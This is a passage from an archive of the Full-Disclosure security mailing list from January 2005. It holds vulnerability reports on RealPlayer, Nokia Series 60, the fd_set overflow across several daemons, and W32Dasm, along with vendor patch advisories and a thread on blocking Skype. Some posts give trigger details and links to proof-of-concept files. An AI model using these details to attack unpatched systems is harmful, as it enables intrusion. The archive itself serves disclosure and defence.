14:22:25 -0200 Subject: [Full-Disclosure] RealPlayer 10.5 Denial of Service and possible Overflow Message-ID: <10c6adab050124082260bb657a@mail.gmail.com> Well i was trying to find something in .ra format. I found something interesting(I think) I had an old .Ra and tryed to change some information of the file(via an hexadecimal editor): All my .ra files begin always with the following code: .ra......ra4.........r.........>................+........ If i change ONE byte at the beginning RealAudio crashes like the following example: .ra......Aa4.........r.........>................+........ In this case I just overwrited the second 'r' for 'A' and RealPlayer crashed. I could not see if i overwrite with more A?s be possible to write into stack cause I?m with no good debugger here and I don?t understant windows debug report. It was tested only with RealPlayer 10.5. *** If possible some one try to write into stack will be great. *** I?m making files avaliable at www.debarry2.com.br/carlos/rapoc.zip as an proof of concept for this. You could also get the rapoc.zip at www.debarry2.com.br/carlos by a link I put at first page(top); If its possible to write into stack all of u comrades know that we can execute arbitrary code into affected systems. Sorry for my bad Brazilian-english. Carlos A. Ulver. From seclists at securinews.com Mon Jan 24 19:42:50 2005 From: seclists at securinews.com (Paul Kurczaba) Date: Mon, 24 Jan 2005 14:42:50 -0500 Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS In-Reply-To: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11> Message-ID: <200501241943.j0OJh0rs021207@lists.netsys.com> Wouldn't the phone try to open the jpg file as a picture, and not execute it. Just like on desktop PCs: if you rename a .exe (application/program) to a jpg (picture file), and try to open the file, your image program will open the file, thinking it is a image file. The application code will not be executed. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of rohit at kritikalsolutions.com Sent: Monday, January 24, 2005 12:01 AM To: bugtraq at securityfocus.com; full-disclosure at lists.netsys.com Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS Hi, I forwarded this bug to Nokia security group, they believe it is a feature and not a bug. Whats your opinion? >>> 1. By default, executable files cannot be transferred (many mobile game companies probably earn their bread because games are not transferrable from one phone to the next). But if you rename the file (install file) to any extension such as jpg or an unknown extension, it can be transferred! So if i need to transfer a virus, all i need to do is rename the file to some jpg extension and and transfer it! 2. When series 60 OS receives such a file, it executes it immediately. For example, in case a MMS message comes with a picture or an installer attachment, Nokia would immediately start running the attachment. This is a major design flaw. Imagine a virus, renamed as a .jpg (mobile wall paper) is downloaded by users on p2p networks or from a website or can come from a friend. Virus installs itself and than shows a jpg file, so user does not suspect anything, while he is now infected. This is than sent to everyone in the address book, who again just see the wall paper after a prompt, while the virus has installed itself. The first problem can be used to exchange mobile games and ring tones for free. When you try to transfer the same without renaming, the OS does not allow transferring them. Thanks Rohit Dube New Delhi. Nokia response to both the problems follows: Hi Rohit, Sorry for the delay answering back to you. About your findings, the first one with sending files after changing the extension is a known limitation of the current implementation. We also implement OMA DRM 2 which will work as expected in such situations. The second one is also know feature, the file type is not determinated from the extension but from the content of the file. So a sis package renamed to an jpeg file still looks from the inside as a sis package and so the user is prompted for installation. Thank you again for your report. tatu > -----Original Message----- > From: ext rohit at kritikalsolutions.com > [mailto:rohit at kritikalsolutions.com] > Sent: Tuesday, January 18, 2005 04:17 > To: Mannisto Tatu (Nokia-TP-PST/Tampere); Ahlberg Janne > (Nokia-M/Tampere) > Subject: RE: series 60 os auto executes files > > > Hi Tatu, Janne, > Any information on this vulnerability? Can you please confirm your > findings and send me an update on when should I/we disclose it? > Thanks > Rohit > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From Thierry at sniff-em.com Mon Jan 24 20:11:16 2005 From: Thierry at sniff-em.com (Thierry Zoller) Date: Mon, 24 Jan 2005 21:11:16 +0100 Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS In-Reply-To: <200501241943.j0OJh0rs021207@lists.netsys.com> References: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11> <200501241943.j0OJh0rs021207@lists.netsys.com> Message-ID: <1761639236.20050124211116@Sniff-em.com> Dear Paul Kurczaba, PK> Wouldn't the phone try to open the jpg file as a picture, and not execute PK> it. Just like on desktop PCs: if you rename a .exe (application/program) to PK> a jpg (picture file), and try to open the file, your image program will open PK> the file, thinking it is a image file. The application code will not be PK> executed. Well there is a twist, Nokia says it identifies files NOT by the filename but by the extension, even when shelling them, so there won't be an image view but code being run. (Note I have no access to said devices, I am solely interpreting). -- Regards, Thierry Zoller http://www.sniff-em.com [Yes] From hades at psilanthropy.org Mon Jan 24 20:17:55 2005 From: hades at psilanthropy.org (Anders Langworthy) Date: Mon, 24 Jan 2005 14:17:55 -0600 Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute received files in Nokia series 60 OS In-Reply-To: <200501241943.j0OJh0rs021207@lists.netsys.com> References: <200501241943.j0OJh0rs021207@lists.netsys.com> Message-ID: <41F557F3.3080606@psilanthropy.org> Paul Kurczaba wrote: > Wouldn't the phone try to open the jpg file as a picture, and not execute > it. Just like on desktop PCs: if you rename a .exe (application/program) to > a jpg (picture file), and try to open the file, your image program will open > the file, thinking it is a image file. The application code will not be > executed. Ideally, yes. But as demonstrated by the Microsoft GDI exploit, just because a file is not executed proper doesn't necessarily mean it's safe from problems in the underlying application. I'd still say that this isn't really a problem directly (after all, it's considered "safe" to view a webpage with images that are loaded without prompting), but the fact that attachments are automagically loaded does provide a spectacular way to automatically infect a large amount of phones if somebody were to come up with a way to payload an attachment. From 3APA3A at security.nnov.ru Mon Jan 24 20:30:08 2005 From: 3APA3A at security.nnov.ru (3APA3A) Date: Mon, 24 Jan 2005 23:30:08 +0300 Subject: [Full-Disclosure] SECURITY.NNOV: Multiple applications fd_set structure bitmap array index overflow Message-ID: <1473827718.20050124233008@security.nnov.ru> Issue: Multiple applications fd_set structure bitmap array index overflow Type: remote Date: December, 12 2004 Original URL: http://www.security.nnov.ru/advisiories/sockets.asp Author: 3APA3A URL: http://www.security.nnov.ru/ Affected: gnugk 2.2.0 (confirmed, fixed by vendor) gnugk is OpenH323 Gatekeeper - The GNU Gatekeeper http://www.gnugk.org/ jabber 1.4.1 (tested, confirmed) jabber is "the Linux of instant messaging" -- an open, secure, ad-free alternative to consumer IM services like AIM, ICQ, MSN, and Yahoo http://www.jabber.org/ bnc 2.8.4 (tested, confirmed, DoS only) BNC is an IRC (Internet Relay Chat) proxying server http://www.gotbnc.com socks5 1.0r1 (untested) socks5 is SOCKS v5 application layer gateway and clients socks5 is unsupported, contact your package distributor citadel 6.27 (untested) Citadel is flexible, powerful, community-oriented groupware http://uncensored.citadel.org/citadel/ dante 1.1 (tested, confirmed) Dante is a circuit-level firewall/proxy (socks implemented) http://www.inet.no/dante/ rinetd 0.62 (untested) rinetd is a simple TCP port redirector is unsupported, contact your package distributor bld 0.3 (limited, untested) bld is a blacklisting daemon http://www.online.redhate.org/bld/ 3proxy 0.4 (limited, tested, fixed by vendor) 3Proxy is a really tiny cross-platform (Win32&Unix) proxy servers set http://www.security.nnov.ru/soft/3proxy Intro: Actually, different advisories should be created for every product, but I do not like idea to flood security lists with similar advisories. Vulnerability was discovered for 3proxy during stress-testing and was found to apply to different products. Many other products should be tested as well. History: fd_set overflow vulnerability is not new. It was already discussed back in 2002 in (1). For reason I don't understand NetBSD reported this vulnerability as a local one and it was never discussed as remotely exploitable vulnerability. It is. Details: fd_set structure is defined to be used with select() (man 2 select) function. fd_set is used in select() and few special macros (FD_SET, FD_CLR, FD_ISSET, FD_CLEAR). For all POSIX compatible operations systems fd_set is defined as a bitmask array with a socket number as an array index. #ifndef FD_SETSIZE #define FD_SETSIZE 1024 #endif #define NBBY 8 /* number of bits in a byte */ typedef long fd_mask; #define NFDBITS (sizeof (fd_mask) * NBBY) /* bits per mask */ #define howmany(x,y) (((x)+((y)-1))/(y)) typedef struct _types_fd_set { fd_mask fds_bits[howmany(FD_SETSIZE, NFDBITS)]; } _types_fd_set; #define fd_set _types_fd_set A call to FD_SET sets a bit to 1 using socket number as an index: #define FD_SET(n, p) ((p)->fds_bits[(n)/NFDBITS] |= (1L << ((n) % NFDBITS))) select() clears all used fd_set bits and sets a bits for sockets with requested activity type. Select calculates length of the bitmask array from the first argument, which must be above the largest number of the socket used. Neither FD_SET nor select() do not control socket to be below FD_SETSIZE. For select() it's not possible in current select() implementation. A control for socket number to be below FD_SETSIZE is left for programmer. Vulnerability: If programmer fails to check socket number before using select() or fd_set macros, it's possible to overwrite memory behind fd_set structure. Very few select() based application actually check FD_SETSIZE value. A simplest example of vulnerable function may be: int waitsockdata(SOCKET sock, int timeosec, int timeousec){ fd_set fds; struct timeval tv; int res; tv.tv_sec = timeosec; tv.tv_usec = timeousec; FD_ZERO(&fds); FD_SET(sock, &fds); if ((res = select (sock+1, &fds, NULL, NULL, &tv))!=1) return EOF; return(sock); } in this example, if waitsockdata() is called with large socket number, some data on the stack, for example saved EIP may be overwritten, but attacker can control only one bit of data. In different situation, if multiple sockets are placed on the fd_set attacker may have more control. Vulnerable application: There can be few types of select() based Unix servers: 1. One process per client model (server fork()s for every client connection) 2. Single application with single thread (finite state machine architecture) 3. Threaded server (server creates a thread for every client) Different models can be mixed. Models 2 and 3 could be vulnerable to this kind of attacks if number of clients for each process is not limit or limits allow large number (under FD_SETSIZE) of files or sockets to be open in a single process. Model 1 is safe from this kind of vulnerability (very limited in performance though). Vulnerable applications examples: See beginning of the article. "untested" means code was audited and problem was found but no testing performed. "limited" means application limits number of connections by default. You can identify vulnerable pieces of code by yourself. Impact: Depending on vulnerable application it's possible to overwrite portions of memory. Impact is close to off-by-one overflows, code execution doesn't seems exploitable. Mitigating factors: For all tested Linux distributions default ulimits for open descriptors (1024) are equal to FD_SETSIZE (1024) preventing exploitation in default configuration. For Windows fd_set is a sockets array, not bitmask and FD_SETSIZE defines maximum number of sockets in this array. So, Windows application may be vulnerable only if it places a large number of sockets into same fd_set structure (finite state machine architecture). In case of BNC it's possible to overwrite variable with addrlen accept() parameter effectively preventing new connections from being accepted and almost fully control stack content. But vulnerable function never returns, so code execution is probably impossible. Elevating factors: For FreeBSD and probably many more systems there is no default ulimits. For Windows default FD_SETSIZE is 64 and select() is only POSIX-complatible function to wait on socket input (there is no poll(), but there are Windows specific functions). For Cygwin FD_SETSIZE erroneously defined as 64, probably for Windows compatibility, but fd_set is defined as a bitmask. It makes Cygwin very sensible to this kind of attacks. Dante probably have some additional bugs, because in tests it crashed long before reaching FD_SETSIZE of connections. Exploitation: In most cases to exploit this vulnerability to DoS all you need is to establish large number of concurrent connections. In some cases you need additionally handshake client protocol. Exploit code is trivial and will not be published. Workaround: Set ulimits for all network daemon accounts below FD_SETSIZE. Do not use network daemons compiled with Cygwin. Vendors and solutions: 3proxy 0.5b fixes the problem, download available from http://www.security.nnov.ru/soft/3proxy 3proxy still in beta development stage. All vendors were contacted with contacts listed in product packages. Only Jan Willamowius from GNU h.323 Gatekeeper team replied to bug report. gnugk 2.2.1 fixes the problem, download available from http://www.gnugk.org/h323download.html References: 1. NetBSD Security Advisory 2002-014: fd_set overrun in mbone tools and pppd http://www.security.nnov.ru/search/document.asp?docid=3498 Thanks to: Ilya Anfimov and Kirill Lopuchov for help in identifying this vulnerability, Greg MacManus from iDefense for historic information on this issue and help with impact identification (NO, it was not contributed to iDefense, but discussed with Greg), Phiby for here love and patience. -- /3APA3A From aluigi at autistici.org Mon Jan 24 21:49:11 2005 From: aluigi at autistici.org (Luigi Auriemma) Date: Mon, 24 Jan 2005 21:49:11 +0000 Subject: [Full-Disclosure] Local buffer-overflow in W32Dasm 8.93 Message-ID: <20050124214911.414aebb9.aluigi@autistici.org> ####################################################################### Luigi Auriemma Application: W32Dasm (was http://www.expage.com/page/w32dasm) Versions: <= 8.93 (8.94???) Platforms: Windows Bug: buffer-overflow Exploitation: local Date: 24 Jan 2005 Author: Luigi Auriemma e-mail: aluigi at autistici.org web: http://aluigi.altervista.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== W32Dasm is a cool and famous disassembler/debugger developed by URSoft. It has tons of functions and, also if it is no longer supported by long time, it is still widely used by a lot of people. ####################################################################### ====== 2) Bug ====== The program uses the wsprintf() function to copy the name of the imported/exported functions of the analyzed file into a buffer of only 256 bytes, with the possibility for an attacker to execute malicious code. ####################################################################### =========== 3) The Code =========== Exploiting the bug is very simple, all you need is to get an executable and searching for the name of an imported or exported function to modify. I have written a very simple proof-of-concept that overwrites the return address with 0xdeadc0de: http://aluigi.altervista.org/poc/w32dasmbof.disasm_me ####################################################################### ====== 4) Fix ====== No fix. This program is no longer supported. ####################################################################### --- Luigi Auriemma http://aluigi.altervista.org From security at linux-mandrake.com Mon Jan 24 21:03:54 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Mon, 24 Jan 2005 14:03:54 -0700 Subject: [Full-Disclosure] MDKSA-2005:012 - Updated zhcon packages fix vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: zhcon Advisory ID: MDKSA-2005:012 Date: January 24th, 2005 Affected versions: 10.0, 10.1 ______________________________________________________________________ Problem Description: Erik Sjolund discovered that zhcon accesses a user-controlled configuration file with elevated privileges which could make it possible to read arbitrary files. The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0072 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: c60dda48d225773739aa51a48a762c6f 10.0/RPMS/zhcon-0.2.3-6.2.100mdk.i586.rpm dafea6b3edd1bd776bc4f0a310b4f8e3 10.0/SRPMS/zhcon-0.2.3-6.2.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 3f4dc81c833c5bd43e0538de331e289b amd64/10.0/RPMS/zhcon-0.2.3-6.2.100mdk.amd64.rpm dafea6b3edd1bd776bc4f0a310b4f8e3 amd64/10.0/SRPMS/zhcon-0.2.3-6.2.100mdk.src.rpm Mandrakelinux 10.1: 717d22a4dc7252b63bea66a955d75567 10.1/RPMS/zhcon-0.2.3-6.2.101mdk.i586.rpm 96a864157fc70decb911a34a8dbe21eb 10.1/SRPMS/zhcon-0.2.3-6.2.101mdk.src.rpm Mandrakelinux 10.1/X86_64: bb8c2f25db11d57105a083744b0f55f0 x86_64/10.1/RPMS/zhcon-0.2.3-6.2.101mdk.x86_64.rpm 96a864157fc70decb911a34a8dbe21eb x86_64/10.1/SRPMS/zhcon-0.2.3-6.2.101mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9WK6mqjQ0CJFipgRAhDrAJ0Z63ac0BQOTscusg5Rf64Gh8eXgQCdHSJx uvLs2ZMADYpKSsLBVdeQj1M= =yV8f -----END PGP SIGNATURE----- From security at linux-mandrake.com Mon Jan 24 21:07:06 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Mon, 24 Jan 2005 14:07:06 -0700 Subject: [Full-Disclosure] MDKSA-2005:013 - Updated ethereal packages fix multiple vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: ethereal Advisory ID: MDKSA-2005:013 Date: January 24th, 2005 Affected versions: 10.0, 10.1 ______________________________________________________________________ Problem Description: A number of vulnerabilities were found in Ethereal, all of which are fixed in version 0.10.9: The COPS dissector could go into an infinite loop (CAN-2005-0006); the DLSw dissector could cause an assertion, making Ethereal exit prematurely (CAN-2005-0007); the DNP dissector could cause memory corruption (CAN-2005-0008); the Gnutella dissector could cause an assertion, making Ethereal exit prematurely (CAN-2005-0009); the MMSE dissector could free static memory (CAN-2005-0010); and the X11 protocol dissector is vulnerable to a string buffer overflow (CAN-2005-0084). _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0006 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0007 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0008 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0009 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0010 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0084 http://www.ethereal.com/appnotes/enpa-sa-00017.html ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: c74b93a5f05c68eb7845c6d3a05d7ab5 10.0/RPMS/ethereal-0.10.9-0.1.100mdk.i586.rpm bbdcd41fe80851a0248c8606f0f0ddba 10.0/SRPMS/ethereal-0.10.9-0.1.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 3ab0b6691827a4d228b2696efda24de1 amd64/10.0/RPMS/ethereal-0.10.9-0.1.100mdk.amd64.rpm bbdcd41fe80851a0248c8606f0f0ddba amd64/10.0/SRPMS/ethereal-0.10.9-0.1.100mdk.src.rpm Mandrakelinux 10.1: 72d299832f7340c675f9cf89aaad555f 10.1/RPMS/ethereal-0.10.9-0.1.101mdk.i586.rpm 646de9ee68b10dba30c6f7f0b9989f7d 10.1/RPMS/ethereal-tools-0.10.9-0.1.101mdk.i586.rpm 48cb5ca4befde405416a9aa7c19b5556 10.1/RPMS/libethereal0-0.10.9-0.1.101mdk.i586.rpm c3d5c5d06f7afd1e23f06f682188c03e 10.1/RPMS/tethereal-0.10.9-0.1.101mdk.i586.rpm 87e639367056153d74db172ebb8ca897 10.1/SRPMS/ethereal-0.10.9-0.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: f8852108acdeb991a2a2c06e225863d9 x86_64/10.1/RPMS/ethereal-0.10.9-0.1.101mdk.x86_64.rpm 3ee69f3876a7741ddeb8a79ac2229fb7 x86_64/10.1/RPMS/ethereal-tools-0.10.9-0.1.101mdk.x86_64.rpm edb8a0f7523320df5f30db3e872ef139 x86_64/10.1/RPMS/lib64ethereal0-0.10.9-0.1.101mdk.x86_64.rpm 6cf8367b84d5508cdaaa96e59f973ce8 x86_64/10.1/RPMS/tethereal-0.10.9-0.1.101mdk.x86_64.rpm 87e639367056153d74db172ebb8ca897 x86_64/10.1/SRPMS/ethereal-0.10.9-0.1.101mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9WN6mqjQ0CJFipgRAqG4AKDti9Fj1khxPj88qvxE0gCmVRJA5gCfQ8KW S0Z/tQAWhZM8zLyl08Is5Jo= =Ymy9 -----END PGP SIGNATURE----- From lewk at gentoo.org Mon Jan 24 21:42:34 2005 From: lewk at gentoo.org (Luke Macken) Date: Mon, 24 Jan 2005 16:42:34 -0500 Subject: [Full-Disclosure] [ GLSA 200501-35 ] Evolution: Integer overflow in camel-lock-helper Message-ID: <20050124214234.GE2746@tomservo.ne1.client2.attbi.c> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-35 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: Evolution: Integer overflow in camel-lock-helper Date: January 24, 2005 Bugs: #79183 ID: 200501-35 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== An overflow in the camel-lock-helper application can be exploited by an attacker to execute arbitrary code with elevated privileges. Background ========== Evolution is a GNOME groupware application similar to Microsoft Outlook. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 mail-client/evolution <= 2.0.2 >= 2.0.2-r1 Description =========== Max Vozeler discovered an integer overflow in the camel-lock-helper application, which is installed as setgid mail by default. Impact ====== A local attacker could exploit this vulnerability to execute malicious code with the privileges of the 'mail' group. A remote attacker could also setup a malicious POP server to execute arbitrary code when an Evolution user connects to it. Workaround ========== There is no known workaround at this time. Resolution ========== All Evolution users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose # ">=mail-client/evolution-2.0.2-r1" References ========== [ 1 ] CAN-2005-0102 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0102 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-35.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/9cac9c53/attachment.bin From lists-security at nettracers.com Mon Jan 24 22:29:14 2005 From: lists-security at nettracers.com (lists-security at nettracers.com) Date: Mon, 24 Jan 2005 14:29:14 -0800 Subject: [Full-Disclosure] blocking SkyPE? In-Reply-To: <20050124085744.GC26105@ait.ac.th> Message-ID: <20050124222934.2239D25C00B@mail.nettracers.com> >I need to block SkyPE at the border of our network for many reasons. Commercial, Off-The-Shelf: 1)Fortinet stops this and I have used it for such...for T1 speeds you can keep the cost under $1K and can be installed in bridge/transparent/inline mode so as not to disturb your existing infrastructure. 2)Checkpoint will do application/layer-7 inspection as well, but will cost quite a bit more to purchase and implement. Roll-your-own: Probably will cost you more in time to do this, but you can use Snort to detect and control an IPTables firewall...I have seen but not tried this updated implementation of a dynamic IPTables config tool based on Snort Rulesets: http://www.cipherdyne.com/ http://www.cipherdyne.com/fwsnort/ Good Luck, Bryan K. Watson bwatson at nettracers.com From brenno at dewinter.com Mon Jan 24 23:26:02 2005 From: brenno at dewinter.com (Brenno J.S.A.A.F. de Winter) Date: Tue, 25 Jan 2005 00:26:02 +0100 Subject: [Full-Disclosure] blocking SkyPE? In-Reply-To: <20050124222934.2239D25C00B@mail.nettracers.com> References: <20050124222934.2239D25C00B@mail.nettracers.com> Message-ID: <1106609162.15378.72.camel@localhost> Hi, You had the technical answer already. I just wanted add this: How certain are you that Skype is really something you want to block. Have you asserted there is a problem to solve? Is the solution really what you want? If you want to block John Doe that will be okay. If you have legions of techies walking around I'd rethink your approach. Using OpenVPN it is easy tunnel all protocols that one wants to use. Cheers, Brenno. From daniels at Ponderosatel.com Mon Jan 24 23:52:55 2005 From: daniels at Ponderosatel.com (Daniel Sichel) Date: Mon, 24 Jan 2005 15:52:55 -0800 Subject: [Full-Disclosure] Terminal Server vulnerabilities Message-ID: <190DFDD2F99A65469B4B15D3658C0D2BC5A495@ptc6.ponderosatel.com> I am currently locked in a death struggle with Microsoft's server product group. They have dropped support for the IAS (RADIUS) mmc in server 2003 and the 2000 version won't work under XP SP2. Their solution is to user terminal server to control the server remotely to manage RADIUS. Naturally I don't like this answer because of horror stories I have heard about Terminal server. They claim there are no unfixed vulnerabilities to Terminal Server on Windows Server 2000 Service Pack 4. I find that hard to believe and I know you guys will know if they are full of it, or they are correct. Please let me know ASAP of any CURRENT vulnerabilities int Terminal Server. Dan Sichel Network Engineer Ponderosa Telephone daniels at ponderosatel.com (559) 868-6367 P.S. the MMC is worse, it requires that port 139 or 445 be opened, but that is not the point, I suspect they are feeding me a line and I want to prove it. Thanks. From security at linux-mandrake.com Tue Jan 25 00:45:51 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Mon, 24 Jan 2005 17:45:51 -0700 Subject: [Full-Disclosure] MDKSA-2005:014 - Updated squid packages fix multiple vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: squid Advisory ID: MDKSA-2005:014 Date: January 24th, 2005 Affected versions: 10.0, 10.1, 9.2, Corporate Server 2.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: "infamous41md" discovered two vulnerabilities in the squid proxy cache server. The first is a buffer overflow in the Gopher response parser which leads to memory corruption and would usually crash squid (CAN-2005-0094). The second is an integer overflow in the receiver of WCCP (Web Cache Communication Protocol) messages. An attacker could send a specially crafted UDP datagram that would cause squid to crash (CAN-2005-0095). The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0094 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0095 http://www.squid-cache.org/Advisories/SQUID-2005_1.txt http://www.squid-cache.org/Advisories/SQUID-2005_2.txt ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 829a39d43e630ea5723714a6914fb714 10.0/RPMS/squid-2.5.STABLE4-2.3.100mdk.i586.rpm c2cb0554ab7225eef74bef946ffe359d 10.0/SRPMS/squid-2.5.STABLE4-2.3.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 01d6b3dfa7dc5dd5cf1a95c14492f18c amd64/10.0/RPMS/squid-2.5.STABLE4-2.3.100mdk.amd64.rpm c2cb0554ab7225eef74bef946ffe359d amd64/10.0/SRPMS/squid-2.5.STABLE4-2.3.100mdk.src.rpm Mandrakelinux 10.1: 59493538203620d5bcaabaa23d601446 10.1/RPMS/squid-2.5.STABLE6-2.2.101mdk.i586.rpm e54c318ee8ec23a28f7ab799e7caad33 10.1/SRPMS/squid-2.5.STABLE6-2.2.101mdk.src.rpm Mandrakelinux 10.1/X86_64: f11e4cc06bcface8d67e8505eaa96723 x86_64/10.1/RPMS/squid-2.5.STABLE6-2.2.101mdk.x86_64.rpm e54c318ee8ec23a28f7ab799e7caad33 x86_64/10.1/SRPMS/squid-2.5.STABLE6-2.2.101mdk.src.rpm Corporate Server 2.1: a42ac4049889e5b7123be68f65784f79 corporate/2.1/RPMS/squid-2.4.STABLE7-2.3.C21mdk.i586.rpm dfc6cc283c301c3f4495e3a8f7ddcd63 corporate/2.1/SRPMS/squid-2.4.STABLE7-2.3.C21mdk.src.rpm Corporate Server 2.1/x86_64: 903517606084ab4d37e2a52506eed1a5 x86_64/corporate/2.1/RPMS/squid-2.4.STABLE7-2.3.C21mdk.x86_64.rpm dfc6cc283c301c3f4495e3a8f7ddcd63 x86_64/corporate/2.1/SRPMS/squid-2.4.STABLE7-2.3.C21mdk.src.rpm Corporate Server 3.0: c3567af5bc3b38291199904d81165879 corporate/3.0/RPMS/squid-2.5.STABLE4-2.3.C30mdk.i586.rpm 89d53797c271b1897f775d75c4bb4b9e corporate/3.0/SRPMS/squid-2.5.STABLE4-2.3.C30mdk.src.rpm Mandrakelinux 9.2: b200e4cd5136b605665675c22a07f8f6 9.2/RPMS/squid-2.5.STABLE3-3.5.92mdk.i586.rpm 3ad2ffec1411fae0708f4f3e00505fa3 9.2/SRPMS/squid-2.5.STABLE3-3.5.92mdk.src.rpm Mandrakelinux 9.2/AMD64: e3eff312ad7b514582575f076f26e5fb amd64/9.2/RPMS/squid-2.5.STABLE3-3.5.92mdk.amd64.rpm 3ad2ffec1411fae0708f4f3e00505fa3 amd64/9.2/SRPMS/squid-2.5.STABLE3-3.5.92mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9Za/mqjQ0CJFipgRAqK0AKCfscJWvIuImQPCHK2qfAfx1N1D6wCffx2v Yidt+OBE0IJZPo/0fdv20AA= =ntpM -----END PGP SIGNATURE----- From idlabs-advisories at idefense.com Mon Jan 24 20:12:55 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Mon, 24 Jan 2005 15:12:55 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.24.05: DataRescue Interactive Disassembler Pro Buffer Overflow Vulnerability Message-ID: DataRescue Interactive Disassembler Pro Buffer Overflow Vulnerability iDEFENSE Security Advisory 01.24.05 www.idefense.com/application/poi/display?id=189&type=vulnerabilities January 24, 2005 I. BACKGROUND DataRescue Inc.'s IDA Pro is a Windows or Linux hosted multi-processor disassembler and debugger providing a multitude of features. More information is available at: http://www.datarescue.com/idabase/ II. DESCRIPTION Exploitation of a buffer overflow vulnerability in DataRescue Inc.'s Interactive Disassembler Pro (IDA 